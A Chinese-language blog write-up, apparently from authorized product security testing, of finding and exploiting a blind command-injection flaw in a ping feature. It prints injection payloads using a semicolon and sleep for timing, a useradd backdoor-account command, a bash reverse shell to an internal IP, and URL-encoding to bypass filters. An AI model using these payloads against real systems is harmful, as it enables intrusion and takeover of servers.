命令执行漏洞挖掘实例

前言

这两天给公司的产品做安全测试,有个比较经典的命令执行漏洞感觉还挺有意思,写出来记录一下

一: 前期判断

看到这里有个网络检测,感觉就有命令执行 的漏洞,抓包就试试看
命令执行漏洞挖掘实例_第1张图片
输入127.0.0.1本地地址,发现能ping通
命令执行漏洞挖掘实例_第2张图片
发现如果命令不正确或者ip地址不存在,返回包为false。因此即使存在命令执行的漏洞也无法回显。那这里就考虑用延时判断是不是存在命令执行漏洞

二:判断是否存在命令执行注入

其实之前走了很多歪路,这里就不提了。ping命令有个参数,-c 表示icmp要发几个包。这里我们通过 修改-c 的数目,理论上-c的数值越大,那返回的时间越长
这里遇到第一个问题
命令执行漏洞挖掘实例_第3张图片
添加参数报错,这里空格处通过%20替代,因为http包有url转码,所以%20到服务器端会解析为空格,成功绕过
-c 1 时,时间59毫秒
命令执行漏洞挖掘实例_第4张图片
-c 2 ,时间为4086毫秒
命令执行漏洞挖掘实例_第5张图片
从这里的话,就知道-c 这个参数已经带入成功,那在尝试拼接命令。拼接命令使用&&,&,|,||等,都试了,感觉不是很合适,因为前面命令一旦执行成功,页面上马上就回显回来,无法通过时间来判断。这里我使用分号;做拼接,分号后面都命令执行完之后,这个包才能判断true or false
尝试127.0.0.1 -c 1;sleep 1
这里 -c 参数不要太大,时间久了默认就false,sleep也不宜过大,只要能体现页面回显的时间变化就可以
t = 4086
命令执行漏洞挖掘实例_第6张图片
127.0.0.1 -c 1;sleep 2
t = 8069
命令执行漏洞挖掘实例_第7张图片
到这里就很明确,sleep命令已经执行成功,且存在命令执行注入漏洞

三:通过命令执行注入获取服务器权限

这里也卡了一段时间,最后解决就很快。想过2个方法获得服务器权限。
一个的话通过一句话命令新增用户,到时候直接连服务器就可以。
如新建test:123456用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` test
另外一个就是反弹shell
bash -i >& /dev/tcp/192.168.96.111/4444 0>&1
但是呢,这两条命令都有特殊符号,特别像&,如果空格可以用%20绕过都话,其他字符在绕过上我还没啥思路,会报请求错误
命令执行漏洞挖掘实例_第8张图片
到这里又卡了一下,难道命令注入找到了,却无法利用,这就有点尴尬了,后来忽然想起来,空格能通过url编码绕过,那整个请求参数值能做一遍url编码不是也可以嘛,试试看
命令执行漏洞挖掘实例_第9张图片
开启监听
在这里插入图片描述
将编码后的参数替换,放包,虽然一直卡着,当监听的shell已经回来,成功拿到服务器权限
命令执行漏洞挖掘实例_第10张图片
命令执行漏洞挖掘实例_第11张图片

到这里就结束了,关于那第三节,不知道有没有不通过编码的绕过方式,如果有,感谢指教~

你可能感兴趣的:(web安全)